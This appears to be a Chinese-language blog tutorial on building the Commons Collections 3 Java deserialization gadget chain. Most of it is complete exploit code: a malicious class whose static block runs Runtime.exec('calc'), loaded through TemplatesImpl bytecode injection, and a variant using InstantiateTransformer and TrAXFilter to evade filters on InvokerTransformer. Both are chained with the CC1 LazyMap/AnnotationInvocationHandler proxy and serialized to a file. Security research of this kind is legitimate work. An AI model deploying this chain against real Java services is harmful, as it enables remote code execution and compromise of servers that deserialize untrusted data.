CC3和CC1和CC6的执行命令方式不一样。CC3使用的是动态类加载。我们把恶意代码写在加载类的静态构造方法中。需要注意的是:
当初始化的时候就会执行静态构造方法,defineClass的时候是不会执行静态构造代码块的,我们在找利用点的时候需要有newInstance()这种关键字。
我们从ClassLoader.defineClass调用来入手。
因为defineClass都是private的,所以我们找哪里调用了defineClass并且是default类型或者public类型。defineClass有多个重载方法,最后我们锁定:
如图所示的defineClass在寻找用法时有一个com.sun.org.apache.xalan.internal.xsltc.trax包下面调用了这个重载方法,并且类型的default。
顺着这个defineClass往上,因为是default所以在同包下面我们找哪里调用了这个defineClass:
defineTransletClasses()调用了这个方法,但是defineTransletClasses()的类型是private。我们需要寻找哪里调用了defineTransletClasses()
getTransletInstance()调用了它.而且我们发现这个方法还对这个类进行了加载(调用了newInstance()),那么这里就恰好是我们可以利用的点。
继续往下看哪里调用了getTransletInstance()
发现newTransformer调用了它,而且newTransformer是public。那我们的寻找到这里就可以结束了,这里就可以直接调用了:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.TransformerConfigurationException;
public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
}
}
因为我们调用顺序是:
templates.newTransformer()->getTransletInstance()
所以我们从getTransletInstance方法开始看:
这个getTransletInstance中的if语句是我们遇到的第一个问题:
这里的_name是我们肯定要赋值的,这里目前来看要求只有不为空,所以我们随便赋一个值,可以先看一下_name的类型:
我们利用反射修改:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;
public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
templates.newTransformer();
}
}
来看第二个判断:
if (_class == null) defineTransletClasses();
因为这里的defineTransletClasses是我们要调用的方法,所以我们这里不能给_class赋值,看一下_class初始的时候是不是为空:
发现确实为空,那我们就不用修改了。
然后我们就进入到defineTransletClasses方法:
这里有一个_bytecodes判断,这里如果为空的话会抛出异常,我们需要对这里进行赋值,先看一下_bytecodes的类型:
是一个byte类型的二维数组,值得注意的还有:
for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); }
这里对bytecodes进行了类加载,所以这里我们就传入我们要加载的恶意类的字节马:
//先编译一下这个Test类
package org.example;
import java.io.IOException;
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
//编译后把class文件路径找到或者复制到另外一个路径,后面需要路径来加载
修改_bytecodes:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
templates.newTransformer();
}
}
这里判断完byte之后对_tfactory进行了方法的调用,所以这里需要对_tfactory进行赋值,否则这里会报空指针报错。我们看一下_tfactory是什么:
是一个transient类型,值为空的东西。因为是transient类型,所以序列化的时候并不会被带上,我们去readObject里面看一下:
进行了new TransformerFactoryImpl();赋值,那我们就利用反射给他赋值为new TransformerFactoryImpl():
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
我们尝试运行一下:
发现报错了,还是报了空指针的错误。我们只能调试跟进一下看看(报错在defineTransletClasses,我们断点就下再那里):
我们调试发现报错的点在_auxClasses调用put这里,因为_auxClasses为空,所以报了空指针错误。我们有两个解决方法:
- 因为这里是一个if和else语句,我们满足if语句就可以不进入else,所以第一个方法就是满足if语句
- 给_auxClasses赋值,使得不会报错
但是第二个解决方法的话不会满足再下面一个if语句
if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); }
从上面调试界面就可以看出来_transletIndex已经被赋值为-1了,就算使用第二个方法不会报错也会再这一步抛出异常。所以我们只能使用第一钟解决方案。
第一种解决方案要满足的if语句是这样的:
superClass.getName().equals(ABSTRACT_TRANSLET)
要使得父类的名字和一个常量是相等的。我们看一下这个常量是什么:
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
所以我们现在需要修改一下Test类,让他继承AbstractTranslet才能满足这个条件:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
因为继承的是抽象类,所以我们需要实现里面的方法:
一个是抽象类里面的方法,还有一个是抽象类继承的接口的方法.
然后重新编译Test.java即可,重新运行一遍:
成功弹出计算器
因为上面是通过调用某个方法触发的计算器,所以我们可以利用CC1的前半条链子来触发这个方法即可弹出计算器:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform("qf");
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorate);
Map o = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o1 = declaredConstructor.newInstance(Override.class, o);
serialize(o1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
执行结果:
重新梳理一下我们的链子:
AnnotationvocationHandler.readObject Proxy(annotationInvocationHandler) LazyMap.get ChainedTransformer.transform InvokerTransform.transform TemplatesImpl.newTransformer defineClass newInstance 触发静态代码块
思考这样一个问题:如果InvokerTransformer被ban掉是否还有办法实现任意代码执行吗?
其实CC3就是为了绕过过滤InvokerTransformer和Runtime而生的,接下来开始正式的CC3之路
同样道理,我们从TemplatesImpl.newTransformer 查找用法
找到TrAXFilter这个类:
可惜的是TrAXFilter这个类没有继承serialize接口:
所以我们只能利用class的方式想办法对这个类进行序列化,cc3的作者发现一个类:InstantiateTransformer这个类可以对传入的类进行构造,这个类的构造方法如下:
public InstantiateTransformer(Class[] paramTypes, Object[] args) { super(); iParamTypes = paramTypes; iArgs = args; }
第一个参数是要构造的类的参数类型,我们想要传入TrAXFilter,看一下它的构造类型是什么:
发现是一个Templates类型的变量,所以这里第一个参数就传Templates.class
第二个参数是传入的构造参数我们想要调用templates的newTransformer。所以这里第二个参数就传templates。
所以完整就是这样:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}
发现可以成功运行:
现在我们再拼接CC1前面的链子即可:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
//这段可以注释
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//这段可以注释
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorate);
Map o = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o1 = declaredConstructor.newInstance(Override.class, o);
serialize(o1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
小结一下链子:(这里用了白组长的截图)